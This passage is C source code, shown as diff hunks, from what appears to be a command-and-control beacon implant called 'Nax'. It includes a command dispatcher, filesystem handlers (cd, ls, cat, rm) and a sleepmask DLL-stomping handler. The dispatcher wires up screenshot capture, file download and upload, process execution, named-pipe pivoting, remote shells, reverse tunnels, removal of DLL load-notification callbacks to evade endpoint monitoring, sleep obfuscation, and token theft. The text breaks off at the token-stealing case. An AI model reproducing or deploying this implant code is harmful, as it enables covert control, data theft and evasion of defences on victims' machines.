Nax->Config.BofAsyncCount = loaded;
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "loaded: " );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, loaded );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "/" );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, count );
|
||||
break;
|
||||
}
|
||||
|
||||
/* ---- sleepmask: replace SmSlot DLL and re-wire ---- */
|
||||
case 0x03: {
|
||||
if ( args_len < 5 ) return NAX_ERR_INVAL;
|
||||
UINT32 wlen = NaxR32( args + 1 );
|
||||
if ( 5 + wlen > args_len ) return NAX_ERR_WIRE;
|
||||
|
||||
PWCHAR name = (PWCHAR)( args + 5 );
|
||||
UINT32 nchars = wlen / sizeof( WCHAR );
|
||||
if ( nchars == 0 || nchars >= 64 ) return NAX_ERR_INVAL;
|
||||
|
||||
BOOL unload = ( 5 + wlen + 1 <= args_len ) ? ( args[5 + wlen] & 0x01 ) : FALSE;
|
||||
|
||||
WCHAR buf[64]; MmZero( buf, sizeof( buf ) );
|
||||
MmCopy( buf, name, nchars * sizeof( WCHAR ) );
|
||||
|
||||
/* Free current resident BOF before swapping the DLL */
|
||||
NaxBofFreeResident( Nax );
|
||||
|
||||
BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.SmSlot, unload );
|
||||
if ( ok ) {
|
||||
MmZero( Nax->Config.SmStompDll, sizeof( Nax->Config.SmStompDll ) );
|
||||
MmCopy( Nax->Config.SmStompDll, buf, nchars * sizeof( WCHAR ) );
|
||||
}
|
||||
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, ok ? "sleepmask DLL updated: " : "sleepmask DLL reload FAILED: " );
|
||||
off = NaxAppendWStr((PCHAR)out, off, cap, buf );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded)" : " (old restored)" );
|
||||
|
||||
/* Re-wire sleepmask into the new slot from cached BOF bytes */
|
||||
if ( ok && Nax->SmBofCache && Nax->SmBofCacheLen > 0 ) {
|
||||
INT rc = NaxSleepmaskWire( Nax, Nax->SmBofCache, Nax->SmBofCacheLen );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, rc == NAX_OK ? "\nsleepmask re-wired OK" : "\nsleepmask re-wire FAILED" );
|
||||
} else if ( ok ) {
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "\nno cached sleepmask BOF - use sleepmask-set to load one" );
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
/* ---- show: dump current config ---- */
|
||||
case 0x02: {
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "BOF Stomping: " );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.Initialized ? "enabled\n" : "disabled\n" );
|
||||
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "Sync DLL: " );
|
||||
if ( Nax->BofStompPool.SyncSlot.DllBase ) {
|
||||
off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.BofSyncDll );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.SyncSlot.TextCap );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.SyncSlot.InUse ? " IN USE)\n" : ")\n" );
|
||||
} else {
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "(not loaded)\n" );
|
||||
}
|
||||
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "Async DLLs: " );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.AsyncCount );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "\n" );
|
||||
for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) {
|
||||
BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i];
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " [" );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, i );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "] " );
|
||||
off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.BofAsyncDlls[i] );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, s->TextCap );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, s->InUse ? " IN USE)\n" : ")\n" );
|
||||
}
|
||||
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "Sleepmask DLL: " );
|
||||
if ( Nax->BofStompPool.SmSlot.DllBase ) {
|
||||
off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.SmStompDll );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.SmSlot.TextCap );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.SmSlot.InUse ? " IN USE)\n" : ")\n" );
|
||||
} else {
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "(not loaded)\n" );
|
||||
}
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "Sleepmask BOF: " );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, Nax->Gate ? "loaded" : "not loaded" );
|
||||
if ( Nax->SmBofCache ) {
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " (cached " );
|
||||
off = NaxAppendInt((PCHAR)out, off, cap, Nax->SmBofCacheLen );
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, " bytes)" );
|
||||
}
|
||||
off = NaxAppendStr((PCHAR)out, off, cap, "\n" );
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
return NAX_ERR_INVAL;
|
||||
}
|
||||
|
||||
*out_len = off;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
#include "Nax.h"
|
||||
#include "Common.h"
|
||||
|
||||
/* ========= [ CMD_CD (0x14) ] ========= */
|
||||
|
||||
FUNC INT CmdCd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
|
||||
|
||||
CHAR path[MAX_PATH_SIZE];
|
||||
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
|
||||
MmCopy( path, args, path_len );
|
||||
path[path_len] = '\0';
|
||||
NaxDbg( Nax, "CMD_CD '%s'", path );
|
||||
|
||||
if ( Nax->Kernel32.SetCurrentDirectoryA( path ) ) {
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_PWD (0x15) ] ========= */
|
||||
|
||||
FUNC INT CmdPwd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
(void)args; (void)args_len;
|
||||
if ( *out_len < MAX_PATH_SIZE ) return NAX_ERR_NOMEM;
|
||||
|
||||
DWORD rc = Nax->Kernel32.GetCurrentDirectoryA( MAX_PATH_SIZE, (PCHAR)out );
|
||||
NaxDbg( Nax, "CMD_PWD: GetCurrentDirectoryA rc=%lu out_len=%u", (ULONG)rc, *out_len );
|
||||
if ( rc == 0 || rc > MAX_PATH_SIZE ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
*out_len = rc;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_MKDIR (0x16) ] ========= */
|
||||
|
||||
FUNC INT CmdMkdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
|
||||
|
||||
CHAR path[MAX_PATH_SIZE];
|
||||
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
|
||||
MmCopy( path, args, path_len );
|
||||
path[path_len] = '\0';
|
||||
|
||||
if ( Nax->Kernel32.CreateDirectoryA( path, NULL ) ) {
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_RMDIR (0x17) ] ========= */
|
||||
|
||||
FUNC INT CmdRmdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
|
||||
|
||||
CHAR path[MAX_PATH_SIZE];
|
||||
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
|
||||
MmCopy( path, args, path_len );
|
||||
path[path_len] = '\0';
|
||||
|
||||
if ( Nax->Kernel32.RemoveDirectoryA( path ) ) {
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_CAT (0x18) ] ========= */
|
||||
|
||||
FUNC INT CmdCat( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
|
||||
|
||||
CHAR path[MAX_PATH_SIZE];
|
||||
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
|
||||
MmCopy( path, args, path_len );
|
||||
path[path_len] = '\0';
|
||||
|
||||
HANDLE f = Nax->Kernel32.CreateFileA( path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||
if ( f == INVALID_HANDLE_VALUE ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
DWORD read = 0;
|
||||
DWORD to_read = ( *out_len < MAX_FILE_SIZE ) ? *out_len : MAX_FILE_SIZE;
|
||||
if ( ! Nax->Kernel32.ReadFile( f, out, to_read, &read, NULL ) ) {
|
||||
/* Save error BEFORE CloseHandle which may overwrite LastErrorValue */
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
Nax->Kernel32.CloseHandle( f );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
Nax->Kernel32.CloseHandle( f );
|
||||
*out_len = read;
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_LS (0x19) ] ========= */
|
||||
/*
|
||||
* Wire output on success:
|
||||
* path_len(2LE) + path(path_len) +
|
||||
* count(2LE) +
|
||||
* count × [ isDir(1) | attrs(1) | size(4LE) | mtime(4LE) | name_len(1) | name(name_len) ]
|
||||
*
|
||||
* attrs byte = raw FILE_ATTRIBUTE_* low byte (R=0x01, H=0x02, S=0x04, D=0x10, A=0x20).
|
||||
* mtime = Unix timestamp (FILETIME converted to seconds since epoch, truncated to 32-bit).
|
||||
* Shows ALL files including hidden/system - caller filters via attrs if needed.
|
||||
*/
|
||||
FUNC INT CmdLs( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
CHAR path[ MAX_PATH_SIZE ];
|
||||
|
||||
/* ---- resolve target directory ---- */
|
||||
if ( args_len == 0 || args == NULL ) {
|
||||
DWORD rc = Nax->Kernel32.GetCurrentDirectoryA( MAX_PATH_SIZE, path );
|
||||
if ( rc == 0 || rc > MAX_PATH_SIZE ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
} else {
|
||||
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
|
||||
MmCopy( path, args, path_len );
|
||||
path[ path_len ] = '\0';
|
||||
}
|
||||
|
||||
/* ---- measure path length (saved separately - plen is mutated below) ---- */
|
||||
UINT32 plen = 0;
|
||||
while ( path[ plen ] ) plen++;
|
||||
UINT32 path_wire_len = plen; /* length of just the path, without the appended \* */
|
||||
|
||||
/* ---- build "path\*" search pattern ---- */
|
||||
CHAR pattern[ MAX_PATH_SIZE + 3 ];
|
||||
MmCopy( pattern, path, plen );
|
||||
if ( plen > 0 && path[ plen - 1 ] != '\\' ) pattern[ plen++ ] = '\\';
|
||||
pattern[ plen++ ] = '*';
|
||||
pattern[ plen ] = '\0';
|
||||
|
||||
WIN32_FIND_DATAA fd;
|
||||
HANDLE h = Nax->Kernel32.FindFirstFileA( pattern, &fd );
|
||||
if ( h == INVALID_HANDLE_VALUE ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
/* ---- encode wire header ---- */
|
||||
PBYTE wp = out;
|
||||
UINT32 cap = *out_len;
|
||||
|
||||
/* path_len(2LE) + path */
|
||||
if ( cap < 2 + path_wire_len + 2 ) { Nax->Kernel32.FindClose( h ); return NAX_ERR_NOMEM; }
|
||||
NaxW16( wp, (UINT16)path_wire_len ); wp += 2; cap -= 2;
|
||||
MmCopy( wp, path, path_wire_len ); wp += path_wire_len; cap -= path_wire_len;
|
||||
|
||||
/* reserve 2 bytes for entry count - filled after loop */
|
||||
PBYTE count_ptr = wp;
|
||||
wp += 2; cap -= 2;
|
||||
UINT16 count = 0;
|
||||
|
||||
/* ---- iterate entries ---- */
|
||||
do {
|
||||
/* skip . and .. */
|
||||
if ( fd.cFileName[0] == '.' &&
|
||||
( fd.cFileName[1] == '\0' ||
|
||||
( fd.cFileName[1] == '.' && fd.cFileName[2] == '\0' ) ) )
|
||||
continue;
|
||||
|
||||
UINT32 nlen = 0;
|
||||
while ( fd.cFileName[ nlen ] ) nlen++;
|
||||
if ( nlen > 255 ) nlen = 255;
|
||||
|
||||
if ( cap < 11 + nlen ) break; /* buffer full - truncate listing */
|
||||
|
||||
BYTE isDir = ( fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) ? 1 : 0;
|
||||
BYTE attrs = (BYTE)( fd.dwFileAttributes & 0xFFu );
|
||||
UINT32 size = fd.nFileSizeLow;
|
||||
|
||||
/* FILETIME → Unix timestamp (32-bit) */
|
||||
UINT64 ft = ( (UINT64)fd.ftLastWriteTime.dwHighDateTime << 32 )
|
||||
| (UINT64)fd.ftLastWriteTime.dwLowDateTime;
|
||||
UINT32 ts = ( ft > 116444736000000000ULL )
|
||||
? (UINT32)( ( ft - 116444736000000000ULL ) / 10000000ULL )
|
||||
: 0;
|
||||
|
||||
*wp++ = isDir; cap--;
|
||||
*wp++ = attrs; cap--;
|
||||
NaxW32( wp, size ); wp += 4; cap -= 4;
|
||||
NaxW32( wp, ts ); wp += 4; cap -= 4;
|
||||
*wp++ = (BYTE)nlen; cap--;
|
||||
MmCopy( wp, fd.cFileName, nlen ); wp += nlen; cap -= nlen;
|
||||
|
||||
count++;
|
||||
|
||||
} while ( Nax->Kernel32.FindNextFileA( h, &fd ) );
|
||||
|
||||
Nax->Kernel32.FindClose( h );
|
||||
|
||||
NaxW16( count_ptr, count );
|
||||
*out_len = (UINT32)( wp - out );
|
||||
return NAX_OK;
|
||||
}
|
||||
|
||||
/* ========= [ CMD_RM (0x27) ] ========= */
|
||||
|
||||
FUNC INT CmdRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL;
|
||||
|
||||
CHAR path[MAX_PATH_SIZE];
|
||||
UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1);
|
||||
MmCopy( path, args, path_len );
|
||||
path[ path_len ] = '\0';
|
||||
|
||||
if ( ! Nax->Kernel32.DeleteFileA( path ) ) {
|
||||
NaxWriteWin32Err( out, out_len );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,309 @@
|
||||
/* beacon/src/Commands/Dispatch.c
|
||||
* NaxDispatch - execute one decoded task, write result into caller buffers.
|
||||
*
|
||||
* To add a new command:
|
||||
* 1. Define NAX_CMD_YOURNAME in Wire.h
|
||||
* 2. Implement NaxCmdYourName() in Commands/YourName.c
|
||||
* 3. Add the case here and to the forward declarations below. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Transport.h"
|
||||
|
||||
/* ========= [ dispatcher ] ========= */
|
||||
|
||||
/* Execute task; fill result buffers.
|
||||
* result_data must be at least 512 bytes (caller's responsibility).
|
||||
* Returns 1 if a result frame should be sent back, 0 if not (e.g. exit commands). */
|
||||
FUNC INT NaxDispatch( PNAX_INSTANCE Nax,
|
||||
const NAX_TASK* task,
|
||||
UINT32* result_task_id,
|
||||
BYTE* result_status,
|
||||
PBYTE result_data,
|
||||
UINT32* result_data_len ) {
|
||||
|
||||
*result_task_id = task->TaskId;
|
||||
/* *result_data_len is the caller's buffer capacity - leave it as-is. */
|
||||
|
||||
switch ( task->CmdId ) {
|
||||
|
||||
/* ---- CMD_WHOAMI (0x10) ---- */
|
||||
case NAX_CMD_WHOAMI:
|
||||
*result_status = ( NaxCmdWhoami( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_SLEEP (0x11) ---- */
|
||||
case NAX_CMD_SLEEP:
|
||||
*result_status = ( NaxCmdSleep( Nax, task->Args, (UINT32)task->ArgsLen,
|
||||
result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_EXIT_THREAD (0x12) ---- */
|
||||
case NAX_CMD_EXIT_THREAD:
|
||||
Nax->Ntdll.RtlExitUserThread( 0 );
|
||||
return 0;
|
||||
|
||||
/* ---- CMD_EXIT_PROCESS (0x13) ---- */
|
||||
case NAX_CMD_EXIT_PROCESS:
|
||||
Nax->Kernel32.ExitProcess( 0 );
|
||||
return 0;
|
||||
|
||||
/* ---- CMD_CD (0x14) ---- */
|
||||
/* Core.c sets *result_data_len=0 on success, Win32 error (4 bytes) on fail */
|
||||
case NAX_CMD_CD:
|
||||
*result_status = ( CmdCd( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_PWD (0x15) ---- */
|
||||
case NAX_CMD_PWD:
|
||||
*result_status = ( CmdPwd( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_MKDIR (0x16) ---- */
|
||||
case NAX_CMD_MKDIR:
|
||||
*result_status = ( CmdMkdir( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_RMDIR (0x17) ---- */
|
||||
case NAX_CMD_RMDIR:
|
||||
*result_status = ( CmdRmdir( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_CAT (0x18) ---- */
|
||||
case NAX_CMD_CAT:
|
||||
*result_status = ( CmdCat( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_LS (0x19) ---- */
|
||||
case NAX_CMD_LS:
|
||||
*result_status = ( CmdLs( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_BOF (0x20) ---- */
|
||||
case NAX_CMD_BOF: {
|
||||
INT bof_rc = NaxCmdBof( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len );
|
||||
if ( bof_rc == NAX_STATUS_ASYNC ) {
|
||||
*result_status = NAX_STATUS_ASYNC;
|
||||
*result_data_len = 0;
|
||||
} else {
|
||||
*result_status = ( bof_rc == NAX_OK ) ? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* ---- CMD_SCREENSHOT (0x21) - GDI desktop capture ---- */
|
||||
case NAX_CMD_SCREENSHOT:
|
||||
*result_status = ( NaxCmdScreenshot( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_DOWNLOAD (0x22) - initiate chunked file download ---- */
|
||||
case NAX_CMD_DOWNLOAD:
|
||||
*result_status = ( NaxCmdDownload( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_PS_LIST (0x23) ---- */
|
||||
case NAX_CMD_PS_LIST:
|
||||
*result_status = ( CmdPsList( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_PS_KILL (0x24) ---- */
|
||||
case NAX_CMD_PS_KILL:
|
||||
*result_status = ( CmdPsKill( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_PS_RUN (0x25) ---- */
|
||||
case NAX_CMD_PS_RUN:
|
||||
*result_status = ( CmdPsRun( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_RM (0x27) - delete a file ---- */
|
||||
case NAX_CMD_RM:
|
||||
*result_status = ( CmdRm( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_CHUNKSIZE (0x2B) - set download chunk size ---- */
|
||||
case NAX_CMD_CHUNKSIZE:
|
||||
if ( task->ArgsLen >= 4 ) {
|
||||
UINT32 newSz = NaxR32( task->Args );
|
||||
if ( newSz > NAX_DL_CHUNK_MAX ) newSz = NAX_DL_CHUNK_MAX;
|
||||
if ( newSz < 4096 ) newSz = 4096;
|
||||
Nax->Config.DlChunkSize = newSz;
|
||||
NaxW32( result_data, newSz );
|
||||
*result_data_len = 4;
|
||||
*result_status = NAX_STATUS_OK;
|
||||
} else {
|
||||
*result_status = NAX_STATUS_ERR;
|
||||
*result_data_len = 0;
|
||||
}
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_UPLOAD (0x26) - write accumulated MemSave data to disk ---- */
|
||||
case NAX_CMD_UPLOAD:
|
||||
*result_status = ( NaxCmdUpload( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_SAVEMEMORY (0x2A) - accumulate upload chunk ---- */
|
||||
case NAX_CMD_SAVEMEMORY:
|
||||
*result_status = ( NaxCmdSaveMemory( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_PIVOT_EXEC (0x37) - write data to linked child ---- */
|
||||
case NAX_CMD_PIVOT_EXEC:
|
||||
CmdPivotExec( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len );
|
||||
return 0; /* no result frame - server already knows */
|
||||
|
||||
/* ---- CMD_LINK (0x38) - connect to child's named pipe ---- */
|
||||
case NAX_CMD_LINK:
|
||||
*result_status = ( CmdLink( Nax, task->TaskId, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_UNLINK (0x39) - disconnect a linked child ---- */
|
||||
case NAX_CMD_UNLINK:
|
||||
*result_status = ( CmdUnlink( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
|
||||
/* ---- CMD_PROFILE (0x30) - runtime profile update ---- */
|
||||
case NAX_CMD_PROFILE:
|
||||
CmdProfile( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len );
|
||||
*result_status = result_data[0];
|
||||
*result_data_len = 0;
|
||||
return 1;
|
||||
#endif
|
||||
|
||||
/* ---- CMD_BOF_STOMP (0x31) - runtime BOF stomp reconfiguration ---- */
|
||||
case NAX_CMD_BOF_STOMP:
|
||||
*result_status = ( NaxCmdBofStomp( Nax, task->Args, (UINT32)task->ArgsLen,
|
||||
result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_DLL_NOTIFY_LIST (0x3A) - enumerate DLL load notification callbacks ---- */
|
||||
case NAX_CMD_DLL_NOTIFY_LIST:
|
||||
*result_status = ( NaxCmdDllNotifyList( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_DLL_NOTIFY_REMOVE (0x3B) - remove all DLL load notification callbacks ---- */
|
||||
case NAX_CMD_DLL_NOTIFY_REMOVE:
|
||||
*result_status = ( NaxCmdDllNotifyRemove( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_SLEEPMASK_SET (0x32) - load sleepmask BOF persistently ---- */
|
||||
case NAX_CMD_SLEEPMASK_SET:
|
||||
*result_status = ( NaxCmdSleepmaskSet( Nax, task->Args, (UINT32)task->ArgsLen,
|
||||
result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_SLEEPOBF_CONFIG (0x33) - runtime sleep obfuscation toggle ---- */
|
||||
case NAX_CMD_SLEEPOBF_CONFIG:
|
||||
*result_status = ( NaxCmdSleepObfConfig( Nax, task->Args, (UINT32)task->ArgsLen,
|
||||
result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_JOB_LIST (0x28) ---- */
|
||||
case NAX_CMD_JOB_LIST:
|
||||
*result_status = ( NaxJobList( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
/* ---- CMD_JOB_KILL (0x29) ---- */
|
||||
case NAX_CMD_JOB_KILL:
|
||||
if ( task->ArgsLen >= 4 ) {
|
||||
UINT32 killTaskId = NaxR32( task->Args );
|
||||
*result_status = ( NaxJobKill( Nax, killTaskId ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
} else {
|
||||
*result_status = NAX_STATUS_ERR;
|
||||
}
|
||||
*result_data_len = 0;
|
||||
return 1;
|
||||
|
||||
/* ---- shell commands (0x47–0x49) ---- */
|
||||
case NAX_CMD_SHELL_START:
|
||||
case NAX_CMD_SHELL_WRITE:
|
||||
case NAX_CMD_SHELL_CLOSE:
|
||||
NaxShellDispatch( Nax, task->TaskId, task->CmdId, task->Args, (UINT32)task->ArgsLen );
|
||||
return 0;
|
||||
|
||||
/* ---- tunnel commands (0x3E–0x46) ---- */
|
||||
case NAX_CMD_TUNNEL_CONNECT_TCP:
|
||||
case NAX_CMD_TUNNEL_WRITE_TCP:
|
||||
case NAX_CMD_TUNNEL_CLOSE:
|
||||
case NAX_CMD_TUNNEL_REVERSE:
|
||||
case NAX_CMD_TUNNEL_PAUSE:
|
||||
case NAX_CMD_TUNNEL_RESUME:
|
||||
NaxTunnelDispatch( Nax, task->CmdId, task->Args, (UINT32)task->ArgsLen );
|
||||
return 0;
|
||||
|
||||
/* ---- token commands (0x50–0x57) ---- */
|
||||
case NAX_CMD_TOKEN_GETUID:
|
||||
*result_status = ( CmdTokenGetUid( Nax, result_data, result_data_len ) == NAX_OK )
|
||||
? NAX_STATUS_OK : NAX_STATUS_ERR;
|
||||
return 1;
|
||||
|
||||
case NAX_CMD_TOKEN_STEAL:
|
||||
